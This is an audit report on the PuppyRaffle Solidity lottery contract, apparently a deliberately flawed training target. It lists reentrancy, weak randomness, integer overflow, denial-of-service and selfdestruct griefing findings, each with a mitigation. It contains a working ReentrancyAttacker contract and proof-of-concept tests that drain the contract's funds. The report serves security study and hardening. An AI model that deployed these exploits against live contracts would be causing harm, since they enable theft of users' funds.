



Protocol Audit Initial Report

Version 1.0

CyberGhost

October 2, 2026

Protocol Audit Initial Report

CyberGhost

October 2, 2026

Prepared by: CyberGhost

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- Findings
 - High
 - * [H-1] `PuppyRaffle::refund` function violates the CEI (Checks-Effects-Interactions) Pattern, causing a Reentrancy vulnerability.
 - * [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner, and influence or predict the winning puppy.
 - * [H-3] There is an integer overflow risk due to incorrect declaration of `PuppyRaffle::totalFees`, which leads to a potential loss of the fee records.
 - Medium

- * [M-1] `PuppyRaffle::enterRaffle` uses a for loop to check for duplicate addresses, causing a Denial of Service (DoS) vulnerability, increasing the gas costs for future contributors.
- * [M-2] Smart contract wallets raffle winners without `receive` or a `fallback` function will block the start of a new contest.
- * [M-3] The balance check inside the `PuppyRaffle::withdrawFees` function enables griefers to selfdestruct their smart contracts to send ETH to the raffle, blocking any fee withdrawals.
- Low
 - * [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for the first player at index 0, so they might think they are not active or not exist, and will try to enter again.
- Informational
 - * [I-1] Solidity pragma should be specific, not wide.
 - * [I-2] Using an outdated Solidity version is not recommended.
 - * [I-3] Missing checks for `address(0)` when assigning values to address state variables.
 - * [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.
 - * [I-5] Using magic numbers in the middle of a codbase is not good.
 - * [I-6] `PuppyRaffle::_isActivePlayer` is used nowhere and should be removed.
 - * [I-7] The test coverage of the `PuppyRaffle` is below 90%. This often means that there are parts of code that hasn't been tested.
- Gas
 - * [G-1] Unchanged state variables should be declared as constant or immutable.
 - * [G-2] Storage variables in a loop should be cached.

Protocol Summary

The `PuppyRaffle` smart contract acts as a lottery. Users pay the established `entranceFee` to enter and participate in a lottery to be selected as a winner through pseudo-random number generation, and receive 80% of the ETH from the protocol, along with a dedicated random NFT from the rarity range, which is determined via pseudo-random number generation. 20% should go to the `feeAddress`, which is set on deployment and can be changed via the `changeFeeAddress` function which is only callable by the owner of the protocol.

Disclaimer

This security review is a point-in-time assessment conducted independently on a time-boxed basis. The findings, architectural notes, and Proofs of Concept contained herein reflect the state of the codebase at the exact time of analysis and do not guarantee an absolute absence of vulnerabilities.

This document is provided for informational and security-hardening purposes only. It does not constitute financial, legal, or investment advice, nor does it represent an endorsement of the underlying protocol, team, or token economics.

The independent security researcher disclaims all liability for any direct or indirect financial loss, exploited vulnerabilities, or protocol failures arising from the deployment, modification, or interaction with the reviewed smart contracts. Security is an ongoing process, not a final destination.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
1 Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
1 ./src/  
2 #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this codebase. Patrick is such a wizard at writing intentionally bad code.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	7
Gas	2
Total	16

Findings

High

[H-1] `PuppyRaffle::refund` function violates the CEI (Checks-Effects-Interactions) Pattern, causing a Reentrancy vulnerability.

Description: The `PuppyRaffle::refund` function makes an external call to another address before changing its internal state, severely breaking the CEI pattern. An attacker can deploy a malicious contract that will call the `enterRaffle` function and right after that, call `refund`, which in turn will make an external call to send the money to the attacker. However if that contract inside the receive function makes the same call to the raffle again to refund the money, an attacker can drain all the

money from PuppyRaffle because of the state changing won't be made until the balance of the raffle is zero.

```
1    /// @param playerId the index of the player to refund. You can
2    find it externally by calling `getActivePlayerIndex`
3    /// @dev This function will allow there to be blank spots in the
4    array
5    // @audit Violating the CEI Pattern. Checks - Effects -
6    Interactions. (Reentrancy)
7    function refund(uint256 playerId) public {
8        address playerAddress = players[playerId];
9        require(
10            playerAddress == msg.sender,
11            "PuppyRaffle: Only the player can refund"
12        );
13        require(
14            playerAddress != address(0),
15            "PuppyRaffle: Player already refunded, or is not active"
16        );
17        payable(msg.sender).sendValue(entranceFee);
18        players[playerId] = address(0);
19        emit RaffleRefunded(playerAddress);
20    }
```

Impact: An attacker can drain the raffle and steal all the existing contract's eth, seriously breaking the intended functionality.

Proof of Concept:

1. User enter the raffle;
2. An attacker deploys a contract with a `fallback/receive` functions that call the `PuppyRaffle:refund`;
3. Attacker enters the raffle;
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

A test which demonstrates such attack is demonstrated below. Place it into `PuppyRaffleTest.t.sol`

PoC

```
1    function testReentrancyInRefund() public {
2        // Create a set of entrants and enter them to the raffle.
3        address[] memory players = new address[](4);
4        players[0] = address(playerOne);
5        players[1] = address(playerTwo);
6        players[2] = address(playerThree);
```

```
7     players[3] = address(playerFour);
8
9     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
10    console2.log(
11        "PuppyRaffle starting balance: ",
12        address(puppyRaffle).balance
13    );
14
15    // The attacker deploys a ReentrancyAttacker contract and steals
16    // all the money
17    address attacker = makeAddr("attacker");
18    vm.deal(attacker, 1 ether);
19
20    vm.startPrank(attacker);
21    ReentrancyAttacker reentrancyAttacker = new ReentrancyAttacker(
22        puppyRaffle
23    );
24    console2.log(
25        "ReentrancyAttacker starting balance: ",
26        address(reentrancyAttacker).balance
27    );
28    reentrancyAttacker.attack{value: 1 ether}();
29    vm.stopPrank();
30
31    console2.log(
32        "PuppyRaffle ending balance: ",
33        address(puppyRaffle).balance
34    );
35    console2.log(
36        "ReentrancyAttacker ending balance: ",
37        address(reentrancyAttacker).balance
38    );
39    assertEq(address(puppyRaffle).balance, 0 ether);
40    assertEq(address(reentrancyAttacker).balance, 5 ether);
41 }
```

The ReentrancyAttacker contract:

```
1 contract ReentrancyAttacker {
2     PuppyRaffle puppyRaffle;
3     uint256 entranceFee;
4     uint256 attackerIndex;
5
6     constructor(PuppyRaffle _puppyRaffle) {
7         puppyRaffle = _puppyRaffle;
8         entranceFee = puppyRaffle.entranceFee();
9     }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
```

```
13     players[0] = address(this);
14     puppyRaffle.enterRaffle{value: msg.value}(players);
15     attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
16     ;
17     puppyRaffle.refund(attackerIndex);
18 }
19 function _stealMoney() internal {
20     if (address(puppyRaffle).balance >= 1 ether) {
21         puppyRaffle.refund(attackerIndex);
22     }
23 }
24
25 fallback() external payable {
26     _stealMoney();
27 }
28
29 receive() external payable {
30     _stealMoney();
31 }
32 }
```

Recommended Mitigation: To prevent reentrancy, the order of the statements within the `PuppyRaffle::refund` function has to be changed. The external call must be right after the E (Effects) phase of the CEI. Additionally, we should move the event emission up as well.

```
1 // Follows the CEI Pattern
2 function refund(uint256 playerId) public {
3     // C
4     address playerAddress = players[playerIndex];
5     require(
6         playerAddress == msg.sender,
7         "PuppyRaffle: Only the player can refund"
8     );
9     require(
10        playerAddress != address(0),
11        "PuppyRaffle: Player already refunded, or is not active"
12    );
13
14    // E
15    + players[playerIndex] = address(0);
16    + emit RaffleRefunded(playerAddress);
17
18    // I
19    payable(msg.sender).sendValue(entranceFee);
20
21    - players[playerIndex] = address(0);
22    - emit RaffleRefunded(playerAddress);
23 }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner, and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.number` and `block.difficulty` together creates a predictable final number. A predictable random number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable RNG such as Chainlink VRF. See Chainlink VRF docs.

[H-3] There is an integer overflow risk due to incorrect declaration of `PuppyRaffle::totalFees`, which leads to a potential loss of the fee records.

Description: In Solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `PuppyRaffle::feeAddress` to collect later via `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, someone may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We enter 100 players to the raffle;
2. The total raffle balance after the entering is 100 ether;
3. Overflow occurs when you typecast the `fee` variable to `uint64(fee)`:

```
1 uint256 totalAmountCollected = players.length * entranceFee;
2 // This calculation is correct. `fee` is going to be equal to:
3 // 20.000000000000000000000000
4 uint256 fee = (totalAmountCollected * 20) / 100;
5 // However, after typecasting the `totalFee` is going to be:
6 // 1.553255926290448384
7 totalFees = totalFees + uint64(fee);
```

4. Even more, noone will be able to withdraw eth, due to the line inside the `withdrawFees` function:

```
1 require(
2     address(this).balance == uint256(totalFees),
3     "PuppyRaffle: There are currently players active!"
4 );
```

PoC

```
1 function testIntegerOverflowInSelectWinner() public {
2     uint256 numOfPlayers = 100;
3     uint256 startingFeeAddressBalance = address(feeAddress).balance
4     ;
5     assertEq(startingFeeAddressBalance, 0);
6
7     // 1. Let's assume 100 players entered the raffle
8     address[] memory players = new address[](numOfPlayers);
9     for (uint256 i = 0; i < numOfPlayers; i++) {
10         players[i] = address(i);
11     }
12     puppyRaffle.enterRaffle{value: entranceFee * numOfPlayers}(
13         players);
14
15     uint256 totalAmountCollected = address(puppyRaffle).balance;
16     uint256 expectedFees = (totalAmountCollected * 20) / 100; // 20
17     e18 expected
18     console2.log("Expected fees ", expectedFees);
19
20     vm.warp(block.timestamp + duration + 1);
21     vm.roll(block.number + 1);
22
23     puppyRaffle.selectWinner();
24     uint256 actualFees = puppyRaffle.getFees();
25     console2.log("Fees after winner selection to withdraw: ",
26         actualFees);
```

```
23     assert(actualFees != expectedFees);
24
25     // RESULT
26     // 20.00000000000000000000
27     // 1.553255926290448384
28 }
```

Recommended Mitigation: There are a few possible mitigations:

1. Use a newer version of Solidity and `uint256` instead of `uint64` for the `PuppyRaffle::totalFees`;
2. You could also use the `SafeMath` library of OpenZeppelin for 0.7.6 version of Solidity. However, you would still have a hard time with the `uint64` if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`:

```
1 -require(
2 -     address(this).balance == uint256(totalFees),
3 -     "PuppyRaffle: There are currently players active!"
4 -);
```

There are more attack vectors with that final `require`, so I recommend removing it regardless.

Medium

[M-1] `PuppyRaffle::enterRaffle` uses a for loop to check for duplicate addresses, causing a Denial of Service (DoS) vulnerability, increasing the gas costs for future contributors.

Description: The `PuppyRaffle::enterRaffle` iterates through the `players` array to check for duplicates. However, the longer the `players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1 // @audit DoS Attack
2 for (uint256 i = 0; i < players.length - 1; i++) {
3     for (uint256 j = i + 1; j < players.length; j++) {
4         require(
5             players[i] != players[j],
6             "PuppyRaffle: Duplicate player"
7         );
8     }
9 }
```

Impact: The gas costs for the entrants will greatly increase as more players enter the raffle. Discouraging later users from entering and causing a rush at the beginning of a raffle to be one of the first entrants in

the queue.

An attacker might make the `PuppyRaffle::players` array so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 entrants, the gas costs will be as such: - First 100: ~6538554; - Second 100: ~19242106.

This is more than 3x times more expensive for the second 100 entrants.

PoC

```
1  function testDoSAttackInEnterRaffle() public {
2      // 1) Simulate many users entering over time (Or an attacker
      flooding it)
3      uint256 numOfEntrants = 100;
4      address[] memory firstEntrants = new address[](100);
5      for (uint256 i = 0; i < numOfEntrants; i++) {
6          firstEntrants[i] = address(i);
7      }
8
9      // Enter them into the raffle and see the gas cost
10     uint256 gasStartFirst = gasleft();
11     puppyRaffle.enterRaffle{value: numOfEntrants * entranceFee}(
12         firstEntrants
13     );
14     uint256 gasUsedFirst = gasStartFirst - gasleft();
15     console2.log("Gas used for the first 100 entrants: ",
16         gasUsedFirst);
17
18     // 2) Simulate another 100 players are entering the raffle.
19     address[] memory secondEntrants = new address[](100);
20     for (uint256 i = 0; i < numOfEntrants; i++) {
21         secondEntrants[i] = address(i + numOfEntrants);
22     }
23
24     // Enter them into the raffle and see the gas difference
25     uint256 gasStartSecond = gasleft();
26     puppyRaffle.enterRaffle{value: numOfEntrants * entranceFee}(
27         secondEntrants
28     );
29     uint256 gasUsedSecond = gasStartSecond - gasleft();
30     console2.log("Gas used for the second 100 entrants: ",
31         gasUsedSecond);
32     assertGt(gasUsedSecond, gasUsedFirst);
33 }
```

Recommended Mitigation:

1. Consider allowing duplications. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person to enter the raffle multiple times, only the same wallet address;
2. Consider using a mapping to check for duplicates. This would allow the constant time lookup of whether a user has already entered:

```
1 + mapping(address => uint256) public addressToRaffleId;
2 + uint256 public raffleId = 0;
3
4 function enterRaffle(address[] memory newPlayers) public payable {
5     require(
6         msg.value == entranceFee * newPlayers.length,
7         "PuppyRaffle: Must send enough to enter raffle"
8     );
9     // check for duplicates
10    // check for duplicates only from the newPlayers array
11    + for (uint256 i = 0; i < newPlayers.length; i++) {
12    +     require(addressToRaffleId[newPlayers[i]] != raffleId, "
13    +     PuppyRaffle: Duplicate Player");
14
15    + for (uint256 i = 0; i < newPlayers.length; i++) {
16    +     players.push(newPlayers[i]);
17    +     addressToRaffleId[newPlayers[i]] = raffleId;
18    + }
19
20    - for (uint256 i = 0; i < players.length - 1; i++) {
21    -     for (uint256 j = i + 1; j < players.length; j++) {
22    -         require(
23    -             players[i] != players[j],
24    -             "PuppyRaffle: Duplicate player"
25    -         );
26    -     }
27    - }
28    emit RaffleEnter(newPlayers);
29 }
30
31 function selectWinner() external {
32 +     raffleId = raffleId + 1;
33     require(
34         block.timestamp >= raffleStartTime + raffleDuration,
35         "PuppyRaffle: Raffle not over"
36     );
37 }
```

3. Alternatively, you could use [Openzeppelin's EnumerableSet library] <https://docs.openzeppelin.com/contracts>

[M-2] Smart contract wallets raffle winners without receive or a fallback function will block the start of a new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times making a lottery reset difficult.

Also, true winners would not get paid out, and someone else could take their money.

Proof of Concept:

1. 10 smart contract wallets enter the raffle without `receive` or `fallback` functions;
2. The lottery ends;
3. The `PuppyRaffle::selectWinner` function wouldn't work even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue:

1. Do not allow smart contract wallet entrants (Not Recommended);
2. Create a mapping of addresses -> payout amounts, so winners can pull their funds out themselves via a new `claimPrize` function, putting the owness on the winner to claim their prize. (Recommended)

Pull over Push

[M-3] The balance check inside the `PuppyRaffle::withdrawFees` function enables griefers to selfdestruct their smart contracts to send ETH to the raffle, blocking any fee withdrawals.

Description: The `PuppyRaffle::withdrawFees` function checks the contract ETH balance against the `PuppyRaffle::totalFees` variable to be equal. Since the contract does not have payable `receive` or `fallback` functions, you think it would be impossible for the contract to receive any ETH from users. However, malisious users or “griefers” can use `selfdestruct` function on their smart contracts to send eth to the protocol right after resetting a lottery, making it impossible to withdraw any fees for eligible address.

```
1     function withdrawFees() external {
2         @>         require(
3         @>             address(this).balance == uint256(totalFees),
4                     "PuppyRaffle: There are currently players active!"
```

```
5         );
6         uint256 feesToWithdraw = totalFees;
7         totalFees = 0;
8
9         (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
10        require(success, "PuppyRaffle: Failed to withdraw fees");
11    }
```

Impact: The established `feeAddress` will not be able to withdraw fees from the raffle after its end, causing ETH to stuck in the contract. A malicious user could see the `withdrawFees` transaction in the mempool, front-run it, and block the withdrawal by sending ETH.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in its balance, and 800 wei of `totalFees`;
2. Malicious user sends 1 single wei via `selfdestruct`;
3. `feeAddress` is no longer able to withdraw funds.

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1     function withdrawFees() external {
2 -         require(
3 -             address(this).balance == uint256(totalFees),
4 -             "PuppyRaffle: There are currently players active!"
5 -         );
6         uint256 feesToWithdraw = totalFees;
7         totalFees = 0;
8
9         (bool success, ) = feeAddress.call{value: feesToWithdraw}("");
10        require(success, "PuppyRaffle: Failed to withdraw fees");
11    }
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for the first player at index 0, so they might think they are not active or not exist, and will try to enter again.

Description:

If a player is in the `PuppyRaffle::players` array at index zero this will return 0, but according to the natSpec it will also return zero if the player is not in the array.

```
1     /// @return the index of the player in the array, if they are not
    active, it returns 0
```

```
2     function getActivePlayerIndex(  
3         address player  
4     ) external view returns (uint256) {  
5         for (uint256 i = 0; i < players.length; i++) {  
6             if (players[i] == player) {  
7                 return i;  
8             }  
9         }  
10        return 0;  
11    }
```

Impact: A player at index zero might incorrectly think they are not active or not exist, and will try to enter again, wasting gas.

Proof of Concept: 1. User enters the raffle, they are the first entrant; 2. `PuppyRaffle::getActivePlayerIndex` returns 0; 3. User thinks they have not entered correctly due to the function documentation.

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the `players` array, instead of returning zero.

You could also reserve the zero's position for any competition, but a better solution might be to return an `int256` where the function will return `-1` if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in `src/PuppyRaffle.sol` Line: 2

```
1  pragma solidity ^0.7.6; // q is it correct compiler version?
```

[I-2] Using an outdated Solidity version is not recommended.

`solc` frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. I also recommend avoiding complex pragma statement.

Recommended Mitigation: Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues. Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please, read slither documentation for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables.

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in `PuppyRaffle::constructor`:

```
1 feeAddress = _feeAddress;
```

- Found in `PuppyRaffle::changeFeeAddress`:

```
1 feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

It's best to keep code clean and follow CEI (Checks-Effects-Interactions)

```
1 - (bool success, ) = winner.call{value: prizePool}("");
2 - require(success, "PuppyRaffle: Failed to send prize pool to winner");
3   _safeMint(winner, tokenId);
4 + (bool success, ) = winner.call{value: prizePool}("");
5 + require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Using magic numbers in the middle of a codbase is not good.

It can be confusing to see number literals in a codbase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
1 uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2 uint256 public constant FEE_PERCENTAGE = 20;
3 uint256 public constant POOL_PRECISION = 100.
```

[I-6] `PuppyRaffle::_isActivePlayer` is used nowhere and should be removed.

Description: The `PuppyRaffle::_isActivePlayer` internal function is used nowhere and should be removed.

```

1 - function _isActivePlayer() internal view returns (bool) {
2 -     for (uint256 i = 0; i < players.length; i++) {
3 -         if (players[i] == msg.sender) {
4 -             return true;
5 -         }
6 -     }
7 -     return false;
8 - }
```

[I-7] The test coverage of the `PuppyRaffle` is below 90%. This often means that there are parts of code that hasn't been tested.

1	File	% Lines	% Statements	%
2	Branches % Funcs			
3	<code>script/DeployPuppyRaffle.sol</code>	0.00% (0/4)	0.00% (0/4)	N/A
4	(0/0) 0.00% (0/1)			
5	<code>src/PuppyRaffle.sol</code>	84.21% (64/76)	84.88% (73/86)	
6	69.23% (18/26) 81.82% (9/11)			
7	<code>test/PuppyRaffleTest.t.sol</code>	87.50% (14/16)	75.00% (9/12)	
8	100.00% (1/1) 100.00% (5/5)			
9	Total	81.25% (78/96)	80.39% (82/102)	
	70.37% (19/27) 82.35% (14/17)			

Recommended mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

Gas**[G-1] Unchanged state variables should be declared as constant or immutable.**

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached.

Everytime you call `players.length`, you read from storage, as opposed to memory which is more gas-efficient.

```
1 + uint256 playerLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playerLength - 1; i++) {
4     for (uint256 j = i + 1; j < players.length; j++) {
5         require(
6             players[i] != players[j],
7             "PuppyRaffle: Duplicate player"
8         );
9     }
10 }
```